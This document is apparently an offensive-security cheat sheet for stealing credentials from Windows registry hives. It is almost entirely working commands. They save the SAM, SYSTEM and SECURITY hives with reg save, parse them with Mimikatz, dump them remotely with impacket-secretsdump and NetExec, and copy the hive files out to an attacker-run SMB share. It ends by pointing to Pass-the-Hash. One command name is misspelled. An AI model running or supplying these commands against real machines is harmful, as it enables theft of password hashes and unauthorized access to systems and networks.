C:\\Windows\\System32\\config\\directory
# The files are locked while Windows is running.
# Backups of the files may exists in the
C:\\Windows\\Repair
# or
C:\\Windows\\System32\\config\\RegBack
reg save hklm\sam C:\Users\Public\sam
reg save hklm\system C:\Users\Public\system
Option 1: Mimikatz
lsadump::sam /sam:"C:\\sam" /system:"C:\\system"
Option 2: impacket-secretsdump
impacket-secretsdump WRK/Administrator:pass123@$IP -output local_dump
impakcet-smbserver share . -smb2support -user test -password test
net use \\$IP\share /user:test test
copy sam \\<IP>\share
copy system \\<IP>\share
copy security \\<IP>\share
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
Option 3: NetExec
nxc smb <IP> --local-auth -u <username> -p <password> --sam
hklm\\security contains cached domain logon information, specifically in the form of DCC2 hashes. These are local, hashed copies of network credential hashes.Pass-the-Hash .